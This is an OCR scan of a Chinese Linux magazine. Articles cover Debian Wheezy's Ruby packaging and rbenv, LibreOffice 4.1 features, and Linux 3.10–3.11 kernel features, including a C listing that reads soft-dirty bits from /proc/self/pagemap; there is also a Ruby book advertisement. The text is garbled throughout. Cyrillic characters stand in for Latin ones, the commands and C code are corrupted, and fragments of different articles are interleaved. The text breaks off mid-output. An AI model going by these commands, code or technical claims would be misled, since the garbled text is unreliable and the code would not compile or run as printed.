体 上 都 被 命名 为 了 诸如 libfoo-ruby1.8、libfoo- 
ruby1.9.1 之 类 ， 正 如 这 些 名 称 所 表示 的 那样 ， 
ruby1.8 用 的 包 和 ruby1.9.1 用 的 包 分 别 进行 了 

















Lrwxrwxrwx 1 root root 18 6 月 12 05:21 /etc/alternatives/ruby 
-> /usr/bin/ruby1.9.1 

$ гиру -v 

гиру 1.9.3p194 (2012-04-20 revision 35410) Схёб 64-11 


nux] 
























打包 处 理 。 但 是 ，pure Ruby library (多 数 情 况 
下 ) 所 提供 的 文件 都 是 相同 的 , 如 采 都 分 别 打 包 ， 
实在 是 有 些 违背 节约 精神 。 因 此 ， 在 Wheezy 
发 布 之 前 开展 了 一 项 修改 工作 ， 将 这 些 包 汇总 
成 了 ruby-foo 形 式 的 单一 包 。 包 的 具体 命名 方 
法 如 下 。 

















。 库 包 采 取 ruby-{Gem 名 称 } 的 形式 
例如 : ruby-gtk2、ruby-activerecord、ruby- 
hikidoc 

。 应 用 程序 采取 {Gem 名称 } 的 形式 
例如 : 


rails, rubygems, cucumber, jekyll 


©) Debian/Ruby Wheezy Transition 
http //8- ruby-ek rasa liothd biano rg/wheezy/ 
А Дїй ЙҮ) =, ТЕ Wheezy 发 布 之 前 (准确 地 说 应 该 是 在 
冻结 之 前 ) 修 改 工作 未 能 结束 ， 并 且 现 在 依然 在 进行 当中 ， 
述 迟 未 能 完成 。 





У з 使 用 ruby-switch 实现 ruby 和 gem 的 同时 切换 


$ sudo apt-get install ruby-switch 
(+) 

$ ruby-switch 

Usage: 


ruby-switch --list 
Lists available Ruby interpreters 


ruby-switch --check 


Checks the current Ruby alternatives configuration 


ruby-switch --set RUBYINTERPRETER 
Changes the current Ruby interpreter 


ruby-switch --auto 
Uses the default Ruby interpreter 

$ ruby-switch -=-List 
гиру1.8 
гиру1.9.1 
$ sudo ruby-switch --set гиру1.9.1 
$ ruby-switch --check 
Currently using: ruby1.9.1 


-> /usr/bin/ruby1.9.1 
-> /usr/bin/gem1.9.1 


有 图 4 程序 包 的 安装 路 径 


$ ruby -rrbconfig -e "р RbConfig::CONFIGC'vendordir']" 


"/usr/lib/ruby/vendor_ruby" 


$ ruby -rrbconfig -e "р RbConfig::CONFIGC'vendorarchdir']" 


"/usr/lLib/ruby/vendor_ruby/1.9.1/x86_64-linux" 


$ ruby1.8 -rrbconfig -e "p RbConfig::CONFIGC'vendorarchdir']" 


"/иѕг/16/гибу/мепаог_гиру/1.8/х86 64-(1пих" 





































Roy in Debian(1) 


只 要 知道 Gem 名 称 ， 束 可 以 知道 所 需要 的 


包 是 什么 了 。 
另外 ， 对 这 些 包 的 安装 路 径 也 做 了 修改 ， 
具体 如 下 。 


• рше Ruby library: vendordir 
。 使 用 C 编 写 的 扩展 库 : vendorarchdir 


在 笔者 所 使 用 的 amd64 环 境 中 ， 分 别 如 图 
4 所 示 @。 


(9 Bundler, rbenv 


关于 Ruby 用 户 所 熟悉 
Wheezy 也 开始 提供 文 持 了 。 

如 图 5 所 示 , 在 您 所 使 用 的 shell 的 配置 
文件 中 加 上 eval "$(rbenv init -)"， 就 可 以 
使 用 rbenv To Debian 的 rbenv 或 多 或 少 地 进行 
了 一 些 修改 ， 从 而 确 
保 了 Debian 程 序 包 中 
的 CRuby 的 相关 处 理 
也 可 以 通过 rbenv 来 
进行 管理 (图 6)。 

另外 ， 为 了 使 用 
Debian 的 程序 包 来 解 
决 Bundler 中 的 依存 
关系 问题 ，Wheezy 还 
提供 了 对 于 rubygems- 
integration 包 的 支持 。 
大 家 可 以 尝试 看 在 安 
闻 该 包 之 后 执行 一 下 
дет List( 图 7)。 这 里 
所 显示 的 rdoc (3.9.4) 


的 Bundler 和 Tbenv， 





© 与 Ruby 捆 绑 在 一 起 的 
库 跟 以 前 一 样 ,依然 
安 装 在 /usr/lib/ruby/ 


{1.8,1.9.1} 路 径 下 。 


реБіапря= 


表示 的 是 ruby1.9.1 包 的 RDoc。 虽 然 并 不 是 所 的 同时 追踪 Ruby HEAD 的 方法 ”以 及 “从 вет 
有 的 包 中 都 提供 了 gemspec 文 件 这 一 点 很 令 人 文件 到 Debian 程 序 包 的 简单 创建 ”。 






























遗憾 ， 但 是 从 Wheezy 开 始 ，rbenv、Bundler 的 我 们 下 期 不 见 不 散 ! 
应 用 ， 甚 至 与 Debian 程序 包 的 协同 应 用 都 成 为 
了 可 能 。 


У 85 rbenv 的 使 用 


$ sudo apt-get install rbenv 
(+) 
$ грепу init 


本 期 我 们 对 Debian 的 Ruby 环 境 ， 特 别 是 # Load rbenv automatically by adding 
# the following to ~/.zshrc: 











Wheezy 的 Ruby 环 境 进行 了 一 次 总 结 。 下 期 将 

ТЕ Ay “ . е РНЕ eval "Ф(грепу init -)" 

继续 为 大 家 介绍 “在 与 Debian 程 序 包 保持 协调 

У 6 Debian 程序 包 的 Ruby 也 可 以 通过 rbenv 进行 У 7 通过 rubygems-integration ВЈ Д М дет 看 到 
管理 Debian 程序 包 


$ rbenv alternatives $ sudo apt-get install rubygems-integration 
Added 1.8.7-debian (HES) 
Added 1.9.3-debian $ gem list 
$ rbenv versions 
1.8. 7-debian жжж LOCAL GEMS жжж 
1.9.3-debian 
rdoc (3.9.4) 








Ruby 语 言 的 发 明 人 松本 行 弘 在 4 松本 行 弘 的 程序 世界 》 一 书 中 提 到 了 “为 什么 开发 Ruby 一 一 因为 它 给 我 带 来 了 快乐 。 
这 跟 Linux 之 父 林 纳 斯 [ 托 瓦 北 对 “为 什么 开发 Linux 的 回答 一 样 ， Just forfun 。 松 本 行 弘 还 提 到 了 Ruby 编程 语言 的 三 个 
设计 原则 : 简洁 性 、 扩 展 性 、 稳 定性 。 由 于 在 Web 开 发 方面 的 效率 很 高 ，Ruby 已 经 引起 了 全 世界 的 关注 ， 它 的 应 用 范围 
也 扩展 到 了 很 多 企业 领域 。 很 多 初学 者 对 学 习 Ruby 抱 有 极 大 的 热情 ， 但 在 选 书 以 及 实践 方面 有 些 范 然 ， 松 本 先生 为 大 家 
推荐 了 一 本 极 好 的 入 门 书 :《 Ruby 基础 教程 (第 4 版 )》。 


。Ruby 入 门 第 一 书 ， 原 版 重印 27 次 ! 
。 松 本 行 弘 杀 自 审 校 并 作 推 荐 序 
• НА Ruby 协会 创始 人 兼 会 长 倾情 力作 


本 书 为 日 本 公认 的 最 好 的 Rupy 入 门 教程 。 松 本 行 弘 杀 目 审 校 并 作 序 推荐 。 本 书 文 持 最 
新 的 Ruby 2.0， 也 附 市 讲解 了 可 运行 于 1.9 版 本 的 代码 ， 事 无 巨细 且 通 俗 易 懂 地 讲解 了 编写 
程序 时 所 需要 的 变量 、 常 量 、 方 法 、 类 、 流 程控 制 等 的 语法 ， 以 及 主要 类 的 使 用 方法 和 简 
单 的 应 用 ， 让 没有 编程 经 验 的 读者 也 能 轻松 掌握 Ruby， 找 到 属于 自己 的 快乐 编程 方式 ， 做 
到 融会 贯通 并 灵活 运用 到 实际 工作 中 。 

本 书 适 合 Ruby 初 学 者 学 习 参 考 ， 有 一 定 Rupy 编程 基础 的 读者 回顾 参考 。 

松本 行 弘 说 : 这 是 一 本 绝对 不 会 让 初学 者 失望 的 Ruby 入 门 书 。 


NA \ 












此 次 上 发布 的 版 本 的 特点 
A 


这 次 发 布 的 版 本 同样 不 单 包含 LibreOffice 
(以 下 简称 Libo ) 特 有 的 新 功能 ， 同时 还 吸 
收 了 Apache OpenOffice (LI F fj #K AOO ) 4.0 
的 功能 ， 加 入 了 多 方面 的 功能 。 AOO 4.0 是 
SunMicrosystems/Oracle 时 代 的 OpenOffice.org 


У 1 IBM Lotus Symphony 的 属性 面板 
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的 是 可 以 在 Ubuntu 13.04 中 使 用 的 LibreOffice 4.1 的 新 功能 。 


Ubuntu Japanese Team 
文 /AWASHIROIIkuya 
ikuya@fruitsbasket.info 
л Е 





(以 下 简称 OOo ) 自从 3.0 版 本 发 布 以 来 ， 时 隔 
五 年 的 重大 升级 ， 其 中 加 入 了 数量 颇 多 的 变更 。 
由 于 LibO 4.1 也 采用 了 其 中 大 部 分 的 变更 ， 
此 这 里 首先 对 AOO 4.0 的 特点 进行 解说 。 








ІВМ Lotus Symphony 和 $ 
ООо A 


IBM 从 OOo 时 代 开 始 至 今 , 在 获得 Sun 
特殊 许可 的 O00 源 代 码 的 基础 上 ， 对 Lotus 
Symphony( 以 下 简称 Symphony ) 进 行 了 开发 
MEEO, Æ 20114 Oracle 向 Apache Software 
Foundation I% 24 ООо M 1 ЯП Ёл к, 开发 
社区 得 以 建立 ， 其 中 多 数 成 员 都 是 IBM 的 志 
愿 者 工作 人 员 2。2011 年 1 月 Symphony 3.0.1 发 
布 不 久 后 ，Symphony 便 发 表 了 “在 此 之 后 将 
不 再 进行 版 本 升级 ”， 并 与 AOO 整 合 ” 的 声明 。 
Symphony 可 公开 部 分 的 源码 在 2012 年 5 月 被 
公开 ， 同 时 与 AOO 源码 的 整合 工作 也 起 步 了 。 

Symphony 具有 OOo 所 不 具备 的 各 种 特点 。 
其 中 一 点 就 是 属性 面板 (图 1 )。AOO 4.0 在 此 





С 2013 年 7 月 上 名 Symphony 的 网 站 关闭 了 , 但 是 有 IBM 





账号 (IBM ID ) 的 话 好 像 还 可 以 下 载 。 是 暂时 关闭 还 是 
永久 关闭 还 不 得 而 知 。 

© 大 致 是 由 IBM、 其 合作 公司 的 工作 人 员 以 及 志愿 者 组 成 的 ， 
但 对 于 三 方 人 数 占 比 和 贡献 程度 等 笔者 不 其 了 解 。 

© 话 虽 如 此 , 但 声明 发 出 之 后 后 续 维 护 版 本 还 是 继续 发 布 了 。 
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基础 上 进一步 (重新 编写 底层 代码 ) 开 发 了 侧 边 

和 =。 属性 面板 的 便利 功能 就 这 样 在 很 多 方面 进 
行 了 扩展 ， 变 得 越 来 越 便捷 。 只 是 在 AOO 4.0 
中 默认 是 开启 的 ， 而 在 LibO 4.1 中 ， 该 功能 还 
处 于 试验 阶段 ， 默 认 是 关闭 的 。 有 关内 容 之 后 
会 进行 详 述 。 

KERE, AOO 4.0 从 Symphony 中 吸取 的 
东西 包括 Microsoft Office 的 老式 的 二 进 制 格式 
文件 的 互 换 性 提升 、 各 种 各 样 的 补丁 、 库 和 模 
板 等 ， 内 容 涉及 方方面面 ， 只 不 过 可 接 和 人 性 等 
一 部 分 来 不 及 实现 的 部 分 被 搁置 了 。 当 然 这 些 
中 的 大 部 分 也 被 LibO 4.1 所 吸收 ， 但 是 模板 并 
没有 被 采用 。 





Writer 的 新 功能 


ш 图 像 旋转 
选择 网 像 后 右 击 鼠 标 ， 选择 BRIEF” , 
即 可 旋转 图 像 。 





а 渐 层 背景 
可 指定 渐 层 背景 。 





и 将 字体 详 入 文件 内 

可 以 通过 [文件 ]-[ 属 性 ]-[ 字 体 ] 中 的 [在 
该 文档 中 骸 入 字体 ] 来 将 字体 般 入 文件 内 。 这 
MEH F Writer, Æ Cale I Impress 中 也 同样 
ANo BÆ, Writer FEHER ЛШ PA 
字体 确实 会 导致 文件 变 大 ， 但 是 相 比 不 通 入 字 
体 ， 这 样 做 消除 了 文字 差异 。Calc 和 Impress 
对 文字 差异 的 要 求 没 有 那么 严格 ， 因 此 这 一 功 
能 的 使 用 机 会 不 太 多 。 





ш 注释 的 显示 和 隐藏 

注释 的 显示 与 否 可 以 统一 设置 了 。 可 以 通 
过 横向 标尺 右 侧 的 注释 区 域 进行 注释 的 插入 操 
作 ， 点 击 此 人 处 可 对 注释 的 显示 /隐藏 进行 切换 。 











Ей 预测 窗口 的 位 置 

虽然 和 Ubuntu 没 什么 直接 关系 , 但 比如 
JE Windows Hia F FIIF Writer, 使 用 谷歌 日 语 
和 输入 法 输入 时 会 弹出 提示 框 ”， 每 当 输入 文字 时 
该 提示 框 就 会 回 右 俩 移 。4.1 "УТЕ TAAIE, 
让 Writer 变 得 更 便于 使 用 了 。 





ш 扩大 可 指定 的 注释 范围 

4.0 中 [插入 ]-[ 注 释 ] 的 注释 功能 可 以 指定 
汇 围 ,之 前 只 能 包含 单个 段落 的 施 围 限制 也 
ВАН Г. 


Саіс 


ш 阶梯 线 

图 表 种 类 的 [ 线 ] 和 [散布 图 ] 中 可 以 选择 
[E (step 有 这 种 线 了 。[ 属 性 ] 中 有 4 种 类 型 
的 阶 樟 线 可 供 选 择 。 


ШШ 单元 格 个 数 统计 

现在 能 够 统计 被 选中 的 单元 格 个 数 了 。 
Calc 右 下 方 的 请 动 条 汐 边 有 默认 显示 合计 的 杠 
框 ， 鼠 标 右 击 即 可 。 因 为 有 [选择 个 数 ]， 对 其 
加 以 确认 后 ， 即 可 统计 出 单元 格 个 数 。 








加 新 的 函数 
现在 支持 NUMVERVALUE 函数 和 SKEWP 


函数 了 。 这些 都 是 在 Excel2013 中 新 追加 的 
KAO, 
Ей 图 表 关 联 


4.0 中 就 有 [导出 为 图 片 ] 的 功能 ，SVG 也 
是 选择 项 之 一 , 但 实际 输出 后 ， 存 在 生成 0 字 
节 文 件 的 BUG，4.1 中 消除 了 这 个 BUG。 不 仅 
如 此 ， 还 可 以 保存 为 后 缀 为 ODC 的 文件 。 以 这 














O 即 预测 候补 的 窗口 。 这 里 虽然 以 谷歌 日 语 输入 法 为 例 ， 
但 指 的 是 候选 窗口 的 问题 。 
©) 后 者 在 Excel 2013 里 的 函数 名 为 “SKEW.P”。 





LibreOffice 4.1 的 新 功能 [as ДТ 





种 形式 保存 的 话 ， 可 以 对 图 表 进 行 再 编辑 。 双 
击 图 表 进 入 可 编辑 状态 ， 选 择 [文件 ]-[ 夯 存 为 ] 
进行 保存 。 如 果 要 在 Calc 里 再 次 插入 图 表 ， 选 
择 [插入 ]-[ 对 象 ]-[ 从 文件 创建 图 表 ] 就 可 以 了 。 


Impress 





E 相册 

可 以 通过 [插入 ]-[ 图 像 ]-[ 相 册 ] 来 制作 相 
册 。 追 加 想 要 使 用 的 图 像 ， 并 指定 每 页 平均 的 
图 片 张 数 即 可 。 





| 整 体 


( 


В 器 导 完 全 不 需要 Java 虚拟 机 

[文件 ]-[ 回 导 ] 中 的 向 导 终 于 全 部 从 Java 
改写 为 了 Python。 这 样 如 有 果 只 使 用 癌 导 的 话 
就 无 需 安装 Java 虚 拟 机 了。 虽然 还 有 Base 的 
后 台数 据 库 是 用 Java 写 的 , 但 是 现在 Google 
Summer of Code ( GSoC ) 正 在 进行 将 其 奉 换 为 
开源 数据 库 Firebird 的 开发 工作 。 如 果 采 取 这 
项 措施 的 话 ， 依 赖 Java 的 部 分 将 不 复 存 在 。 但 
GSoC 正 在 进行 的 开发 的 种 类 众多 ， 即 使 有 能 
够 马上 实现 的 ， 也 还 需要 一 定 的 开发 时 间 ， 其 
中 也 有 中 途 放 弃 的 可 能 ， 所 以 就 现 阶段 而 言 ， 
要 推测 今后 的 情况 如 何 也 不 大 可 能 。 











а 文本 布局 库 

Linux 的 文本 布局 库 从 不 被 维护 的 ICU 
(International Component for Unicode ) 布 局 引 
擎 符 换 为 了 被 经 向 维护 的 HarfBuzz。 像 这 样 以 
“能 够 经 党 得 到 维护 ”为 由 将 核心 库 进 行 蔡 换 
的 做 法 ， 也 可 以 被 看 作 是 Libo 和 AOO 之 间 的 
差异 的 极端 表现 之 一 ”。 








© 话 虽 如 此 , 但 AOO 4.0 也 停 用 了 Stlport4 C+ 模板 库 )。 


ш 搜索 框 

可 以 随意 使 用 [culj+ [Fj] 键 或 者 [编辑 ]-[ 搜 索 ] 
开局 搜索 框 。 在 开局 的 状态 下 再 按 一 次 [ctj+|Fj， 
搜索 框 就 会 消失 。 此 外 ,追加 了 清除 搜索 词 的 
图 标 和 喘 文 字母 大 小 写 区 分 功能 的 复 选 框 。 








ш 清除 最 近 使 用 的 文件 的 历史 记录 

工具 栏 的 打开 文件 的 图 标 中 退 加 了 “显示 
最 近 使 用 的 文件 ” 功能， 同时 也 追加 了 “清除 
最 近 使 用 的 文件 的 历史 记录 ”的 功能 。 


ш 侧 边 栏 

如 前 所 述 ，LibO 4.1 吸 取 了 AOO 4.0 的 侧 
边栏 功能 。 选 择 [ 工 具 ]-[ 选 项 ]-[ 详 细 ] 中 的 -[ 局 
用 体验 功能 侧 边 栏 (重启 后 生效 习 ， 会 弹出 “ 侧 
边栏 的 设 定 变更 需要 重启 LibreOffice， 现在 
马上 重启 吗 ? ”的 对 话 框 ,选择 “马上 重启 ”， 
LibreOffice 会 重新 启动 。 

虽说 是 “体验 功能 ”, 但 是 不 会 发 生 使 用 
过 程 中 强行 终止 的 情况 。 启 动 [风格 和 格式 设 定 ] 
以 及 [导航 ] 等 别 的 窗口 的 东西 ， 以 及 像 图 片 库 
那样 会 占据 画面 上 部 的 东西 ， 都 会 集中 放置 在 
侧 边栏 ， 这 样 画 面 展示 的 范围 就 得 以 扩大 。 特 
别 是 最 近 宽 屏 成 为 主流 ， 经 常会 发 生 图 像 显 示 
时 宽度 有 余 而 高 度 不 足 的 情况 。 

侧 边 栏 带 来 的 便捷 还 体现 在 其 他 一 些 地 
方 。 属 性 面板 中 的 内 容 会 根据 当下 进行 的 操作 
情况 时 刻 发 生 改 变 ( 图 2、 图 3 ), 有 侧 边 栏 的 话 ， 
即使 不 逐一 点 开 菜 单 ， 使 用 这 个 属性 面板 也 能 
在 一 定 程 度 上 完成 所 需 的 工作 ， 而 且 减 少 了 鼠 
标 移动 距离 ， 可 以 大 大 提高 工作 效率 。 而 且 ， 
Microsoft Office 的 Ribbon 界面 也 以 菜单 查找 便 
捷 ”的 优势 著称 。 

不 管 怎 样 ， 反 正 出 现任 何 问题 都 可 以 恢复 
原来 的 设置 ”， 所 以 大 家 可 以 轻松 愉快 地 去 体验 
= 


























D 笔者 主观 地 这 么 认为 ， 不 知道 大 家 觉得 怎么 样 。 
顺带 一 提 ，AOO 中 由 于 Impress 的 任务 面板 被 删除 ， 
此 无 法 复原 。 
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ш 图 片 库 

图 片 库 中 的 图 片 也 焕然 一 新 了 。 如 前 所 述 ， 
这 是 从 Symphony 中 吸取 过 来 的 。 以 前 的 图 片 
库 中 基本 上 没什么 能 用 的 ， 新 的 图 片 库 具有 和 较 
好 的 实用 性 ， 大 家 可 以 有 效 利用 。 


ш 启动 速度 提升 
启动 时 不 用 再 读 入 近 14000 条 标签 数据 ， 
启动 速度 加 快 。 





翻译 的 倾向 








LibO 4.1 是 在 Libo 发 布 后 翻译 对 象 字符 串 
首次 出 现 增 加 的 版 本 。 之 前 ， 随 着 版 本 更 新 ， 
虽然 功能 一 直 在 增加 ， 但 是 翻译 对 象 字符 串 的 
数量 却 一 直 在 减少 。 这 是 怎么 回 事 呢 ? 这 是 因 
为 由 于 源码 清理 而 删 减 掉 的 字符 串 数量 ， 超 过 
了 由 于 添加 新 功能 而 增加 的 字符 串 数量 。 为 公 
平地 进行 比较 了 ， 表 1 中 给 出 了 对 3.4 之 后 的 版 
本 实际 测 得 的 数值 ”。 

















Libo 4.1 和 Ubuntu 


虽然 在 撰 稿 阶段 (2013 年 7 月 中 旬 ) 还 未 
能 确定 , 但 是 Ubuntu 13.10 肯 定 会 包含 LibO 
41. PPA” 中 估计 也 会 提供 将 其 移植 到 12.04 和 
13.04 的 服务 。 话 虽 如 此 ，13.04 的 支持 期 限 是 
从 发 布 日 算 起 共 9 个 月 (也 就 是 到 2014 年 1 月 )， 
相 比 移植 , 升级 到 13.10 似乎 是 一 个 更 好 的 选择 。 








(Ө) 3.3 版 本 之 前 的 源码 中 不 包含 po 文件 ,无 法 在 相同 条 件 
下 测量 。 

例如 对 3.4.6.2 版 本 可 用 下 面 这 条 命令 进行 测量 。$ grep -r 
msgid libreoffice-translations-3.4.6.2/translations/source/ja/ 
lwc -l 

AD https://launchpad.net/~libreoffice 


vI 翻译 对 象 子 符 串 数 的 交 化 
翻译 对 象 字符 串 数 

















+” 2 ”Draw 启动 后 的 侧 边栏 











у з 创建 对 象 (形状 ) 并 选中 后 侧 边 栏 会 变 成 这 样 








a 位 置 与 尺寸 











文 /青田 直 大 ( AOTA Naohiro ) 2/28 


这 次 笔者 将 对 Linux 3.10 追 加 的 TLP 功 能 
FI Linux 3.11 的 新 功能 soft-dirty 和 O_TMPFILE 
进行 解说 。 


E TCP TLP 


先 来 看 一 下 Linux 3.10 的 新 功能 中 尚未 介 
绍 过 的 TCPTLP(TailLoss Probe )。 简 单 来 说 ， 
它 是 TCP 通 信 中 发 送 方 的 一 个 修正 算法 ， 用 以 
改善 TCP 的 延迟 时 间 。 通 过 TCP 发 送 的 数据 必 
须要 保证 是 通过 正确 的 顺序 接收 的 。 为 此 ， 接 
收 方 需要 向 发 送 方 发 送 确 认 信 息 (ACK ) 来 告 
诉 送 信 方 自己 接收 到 了 哪些 数据 。 如 果 发 送 方 
在 等 待 一 段 时 间 后 仍 未 收 到 确认 信息 ， 或 者 是 
虽然 收 到 了 确认 信息 ， 但 是 接收 方 接收 的 数据 
有 所 缺失 ， 发 送 方 需要 再 次 发 送 数据 。 

一 般 而 言 ， 没 有 返回 确认 信息 时 ， 再 次 发 
送 数 据 的 时 间 间 隔 RTO( Retrans mission Time 
Ош ) 都 被 设 定 得 比较 大 。 特 别 是 对 网 页 来 说 ， 
需要 进行 大 量 的 TCP 连 接 ， 但 是 每 个 TCP 连接 
的 数据 量 都 比较 小 “通信 时 间 也 比较 短 ， 在 这 
样 的 通信 的 情况 下 ， 要 等 待 RIO 再 进行 数据 的 
发 送 的 话 就 会 带 来 严重 的 等 竺 延迟 。 为 了 不 用 
等 待 RIO ， 我 们 使 用 快速 重 传 的 方法 。 接 收 方 
按 顺 序 接收 数据 ， 如 果 顺 序 出 现 了 跳跃 ， 就 将 
没有 接收 到 的 数据 包 序号 通知 给 发 送 方 。 这 样 























Linux 3.11 的 新 功能 
soft-dirty 和 O_TM 

















PFILE 


\ 


重复 发 送 三 次 相同 的 确认 信息 ， 发 送 方 就 会 进 
行 相 应 的 重 传 处 理 ( 图 十 )。 
B, XAA e 

如 在 接近 通信 末尾 时 发 生 数 据 丢 失 的 情况 下 ， 
就 无 法 通过 重复 发 送 三 次 确认 信息 来 触发 重 
传 处 理 。 这 种 情况 下 我 们 可 以 使 用 名 为 Early 
Retransmit 的 方法 来 减少 触发 重 传 处 理 所 必 有 需 
的 重复 确认 信息 数 。 这 一 方法 在 Linux 3.5 里 
被 导入 。 话 虽 如 此 ， 但 Early Retransmit 也 无 法 
解决 所 有 接近 通信 末尾 时 的 数据 丢失 问题 。 要 
使 用 Early Кеігапѕті 的话 至 少 需 要 数据 到 达 一 
次 ,这 样 才 能 返回 重复 的 ACK。TLP 为 了 解 
决 这 个 问题 ,在 RTO 超 时 之 前 还 设 定 了 PTO 
( Probe Time Out )。 如 果 在 PTO 结束 前 的 时 间 























” 1 重 传 处 理 
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开始 重 传 处 理 
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л АЫ 


段 内 ACK 没 有 返回 ( 且 没 有 新 的 数据 需要 发 送 )， 
会 重新 发 送 最 后 一 次 发 送 的 数据 (图 2 )。 把 这 
个 传递 给 接收 方 ， 如 果 对 方 之 前 也 没有 接收 到 
数据 的 话 ， 就 可 以 通过 重复 发 送 ACK 来 触发 
重 传 处 理 。 


E CRIU 的 进程 数据 复原 


进程 的 运行 状态 以 文件 的 形式 被 转 储 起 来 ， 
而 将 这 些 转 储 文件 还 原 成 原先 状态 的 工具 就 
是 CRIU。CRIU 还 有 一 个 补丁 并 入 内 核 中 。 在 
这 次 的 补丁 中 ， 可 以 将 想 要 转 储 的 进程 的 内 存 
中 某 时 刻 后 重 写 的 部 分 检 出 ， 进 而 提高 转 储 的 
效率 。 

CRIU 有 多 种 使 用 方法 ， 我们 从 以 下 两 个 
场景 来 思考 一 下 其 中 的 问题 。 首 先 来 考虑 “每 
五 分 钟 保存 一 下 进程 的 转 储 ”这 种 情况 。 这 种 
情况 下 可 以 复原 任意 时 刻 的 进程 状态 。 但 是 ， 
在 短 短 5 分 钟 时 间 内 ， 进 程 内 存 中 有 很 多 内 容 
并 没有 发 生 改 变 。 这 种 情况 下 ， 如 果 能 不 必 每 
次 都 转 储 内 存 中 的 全 部 内 容 ， 而 是 只 转 储 和 上 
一 次 有 差别 的 部 分 的 话 ， 就 可 以 减少 转 储 所 需 
的 磁盘 容量 。 

接 下 来 再 考虑 实时 迁移 的 情况 。 比 如 在 保 
持 某 服务 需 局 动 的 情况 下 将 进程 从 一 人 台 机 器 移 
动 到 男 一 台 机 右上 。 这 里 遇 到 的 问题 就 是 服务 
的 停止 时 间 。 进 程 的 转 储 和 恢复 运行 按照 下 面 
的 顺序 进行 。 












































У [ 2 Early Retransmit 下 的 重 传 处 理 
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z> 


接收 ACK3 ФР 


тоюна, 5 的 重 伟 


3 号 的 RTO 















>f ACK3 SACK5-6 


进入 重 传 处 理 










e 进 程 暂时 停止 

e 将 内 存 转 储 

e 将 转 储 拷贝 到 另 一 台 机 器 上 

e 在 另 一 台 机 器 上 将 进程 恢复 运行 


这 里 如 果 进 程 的 内 存 容量 很 大 的 话 ， 进 程 
从 暂时 停止 到 恢复 运行 这 段 服务 停止 的 时 间 也 
会 变 长 。 针 对 这 一 问题 ,我 们 采用 的 对 末 是 使 
用 迭代 迁移 (iterative migration )。CRIU 在 正 
式 进行 转 储 之 前 可 以 先进 行 pre-dump。 虽 然 仅 
徘 pre-dump 获得 的 文件 并 不 能 使 进程 恢复 运行 ， 
但 是 在 多 次 pre-dump 后 再 进行 正式 转 储 的 话 ， 
就 只 需要 转 储 差 值 部 分 。 这 样 就 可 以 减少 服务 
停止 的 时 间 了 。 


A soft-dirty PTE 


为 实现 之 前 所 说 的 “ 仅 转 储 进 程 的 差 值 
Й 27°, Linux 3.11 中 加 入 了 PTE (Раве Table 
Entry ) 的 soft-dirty bito 

“soft-dirty”， 顾 名 思 义 ， 就 是 管理 软件 的 
dirty bit。 在 此 之 前 PTE 中 已 经 有 了 dirty bits 
不 管 是 哪 一 个 ,在 内 存 页 面 被 改写 的 时 候 ， 都 
会 设置 dirty bit。 也 就 是 说 , 在 某 一 块 内 存 内 
容 被 改写 的 时 候 ， 就 会 设置 dirty bit 或 者 soft- 
dirty bit。 这 两 者 的 区 别 在 于 bit 被 清除 的 时 机 。 
通常 апу bit 会 在 数据 的 变更 被 写 人 磁盘 的 时 
候 被 清除 ， 而 soft-dirty bit 则 可 以 在 任意 时 机 
被 清除 。 所 以 如 果 在 迁移 开始 时 清除 soft-dirty 
bit, 之 后 再 给 有 改动 的 页 设置 soft-dirty bit, 
那么 就 可 以 只 复制 这 些 页 了 。 


А 使 用 soft-dirty 的 程序 


接 下 来 看 看 使 用 soft-dirty 的 程序 (代码 清 
287.) 

首先 从 因数 来 看 ,，clear зой dirtyO ff “4” 
© № /ргос/ѕе1 /сІеаг refs, 将 这 个 程序 的 soft- 
dirty bit 清除 。show soft dirty(buf,n) 是 从 指定 
地 址 的 页 面 开始 ， 将 之 后 n 页 的 soft-dirty bit H 
































有 代码 清单 1 munin plugin 


#include <stdint.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <fcntl.h> 
#include <unistd.h> 


#define PAGE_SIZE 4096 

#define PAGE COUNT 4 

#define BUF_SIZE РАСЕ SIZE ж РАСЕ COUNT 
#define SOFT_DIRTY ((uint64 t)1 << 55) 


void clear_ soft dirty() 
1 
FILE *ї = fopen("/proc/self/clear refs", "м"); 
if (f == NULL) abort(); 
forinti СУ 
fclose(f); 
} 


void show soft dirty(void жри?, int п) 
{ 

uint64 t val; 

ИЙ i, 

long index = (size t)buf >> 12; 


for (1 = 0; 1 < п; ++1) 
Printfe ООК 1); 
printf("\n"); 


FILE *ї = fopen("/proc/self/pagemap", "г"); 

if (f == NULL) abort(); 

for Пл ii < nm n 
fseek(f, (index+i)*8, SEEK SET); 
fread(&val, sizeof(val), 1, f); 
printf("%2d ", (val & SOFT_DIRTY) != 0); 

0 

БЕЛП ТС Nn 

fclose(f); 

} 


int main(int argc, char *argv[]) 
í 
int i; 


char *buf = malloc(BUF_SIZE); 
printf("Initialize the buffer\n"); 
memset(buf, 1, BUF_SIZE); 
show_soft_dirty(buf, PAGE COUNT); 


printf("Clear the buffer\n"); 
clear_soft dirty(); 
show_soft dirty(buf, РАСЕ COUNT); 


for (1=0; i<PAGE COUNT; ++1) { 
printf("Writing to раде /029\п", i); 
Би#СіжРАСЕ $17Е] = 1; 
show_soft_ dirty(buf, РАСЕ COUNT); 

0 

return 0; 


TU SU S000 9 


0 或 1 表示 出 来 。/proc/self/pagemap 里 记载 T 
64bit 的 数据 ， 其 中 包含 了 程序 各 页 是 否 进行 
了 swap， 以 及 swap 的 偏 移 量 等 信息 。1 页 的 
大 小 为 4096byte， 因 此 用 12 位 偏 移 量 就 能 知 
起 buf 的 地 址 所 在 页 的 页 号 。 用 8*< 页 号 > 在 
pagemap 中 seek 到 所 需 位 置 ， 谈 入 64bit 的 但 ， 
就 能 得 到 我 们 所 和 需 的 目的 值 。 这 个 值 的 第 55 
位 就 是 soft-dirty bit。 
main 部 分 中 执行 了 下 列 操作 。 

















e 查 看 最 初 的 Soft-dirty 
e 清 除 Soft-dirty 


e 依 次 写 入 页 0~3， 显 示 其 后 的 soft-dirty 


运行 结果 如 图 3 所 示 。 一 开始 用 clear_ 
soft dirty() 将 所 有 soft-dirty 清 零 ， 之 后 发 生 写 
人 时 再 设置 soft-dirty bit。 


A О TMPFILE 


接 下 来 要 讨论 的 是 O TMPFILE 的 追加 。 
从 前 级 “0O“” 可 以 看 出 , Ез open) 的 新 的 
flag， 用 以 创建 临时 文件 。 和 常见 的 创建 临时 文 
件 的 方法 就 是 用 随机 的 文件 名 打开 文件 ， 之 后 


Уу з 运行 实例 


$ gcc -Wall -Werror soft-dirty.c && ./a.out 
Initialize the buffer 
## HS #0 Ж 
$$$ $ 

Clear the buffer 
